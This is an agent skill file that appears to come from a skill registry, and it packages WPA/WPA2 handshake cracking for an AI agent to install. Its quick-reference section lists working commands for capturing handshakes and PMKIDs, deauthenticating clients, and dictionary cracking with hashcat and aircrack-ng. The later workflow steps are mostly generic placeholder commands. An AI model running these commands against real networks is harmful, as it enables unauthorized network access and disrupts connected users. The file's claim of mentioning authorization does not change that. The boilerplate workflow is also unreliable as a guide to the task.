Agent skill
cracking-wireless-handshakes
Install this agent skill to your Project
npx add-skill https://github.com/majiayu000/claude-skill-registry/tree/main/skills/other/other/cracking-wireless-handshakes
SKILL.md
name: cracking-wireless-handshakes description: >- Crack captured WPA/WPA2 wireless handshakes using dictionary attacks, PMKID exploitation, and GPU acceleration. domain: cybersecurity subdomain: password-cracking tags:
- wireless
- wpa2
- handshake
- pmkid
- aircrack version: "1.0" author: defconxt license: AGPL-3.0 metadata: mitre-attack: ["T1110.002"] cwe: ["CWE-916"] tools: ["aircrack-ng", "hashcat", "hcxpcapngtool", "hcxdumptool", "wifite"]
Cracking Wireless Handshakes
Overview
Crack captured WPA/WPA2 wireless handshakes using dictionary attacks, PMKID exploitation, and GPU acceleration.
Prerequisites
| Tool / Requirement | Details |
|---|---|
aircrack-ng |
Security tooling |
hashcat |
Security tooling |
hcxpcapngtool |
Security tooling |
hcxdumptool |
Security tooling |
wifite |
Security tooling |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |
| Relevant target samples or systems acquired through authorized channels | Environment requirement |
Quick Reference
# Capture WPA2 handshake
airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon # deauth
# Capture PMKID
hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 capture.pcapng
# Crack with hashcat (mode 22000)
hashcat -m 22000 -a 0 hash.hc22000 rockyou.txt
# Crack with aircrack-ng
aircrack-ng -w rockyou.txt capture-01.cap
Workflow
Step 1: Preparation and Reconnaissance
# Identify target and gather initial intelligence
file ./target_sample
aircrack-ng --version 2>/dev/null || echo "Install aircrack-ng"
# Set up working directory
mkdir -p /tmp/cracking-wireless-handshakes/{output,logs,artifacts}
Step 2: Primary Analysis
# Execute primary analysis with aircrack-ng
# Refer to Quick Reference above for detailed commands
echo "[*] Running Cracking Wireless Handshakes with aircrack-ng..."
# Log all operations
script -q /tmp/cracking-wireless-handshakes/logs/session.log
Step 3: Deep Investigation
# Apply hashcat for secondary analysis
echo "[*] Deep investigation with hashcat..."
# Cross-reference findings
diff /tmp/cracking-wireless-handshakes/output/primary.json /tmp/cracking-wireless-handshakes/output/secondary.json
Step 4: Documentation and Reporting
# Generate structured findings report
cat <<'EOF' > /tmp/cracking-wireless-handshakes/output/report.json
{
"technique": "cracking-wireless-handshakes",
"domain": "password-cracking",
"tools_used": ["aircrack-ng", "hashcat"],
"findings": [],
"recommendations": []
}
EOF
Verification
- Environment and tools verified and operational
- Target samples acquired through authorized channels
- Primary analysis completed with findings documented
- Secondary validation performed with independent tooling
- All artifacts preserved in structured output directory
- Detection opportunities documented for blue team
References
- MITRE ATT&CK T1110.002 — Related technique
- aircrack-ng Documentation — Primary tooling
- hashcat Reference — Secondary tooling
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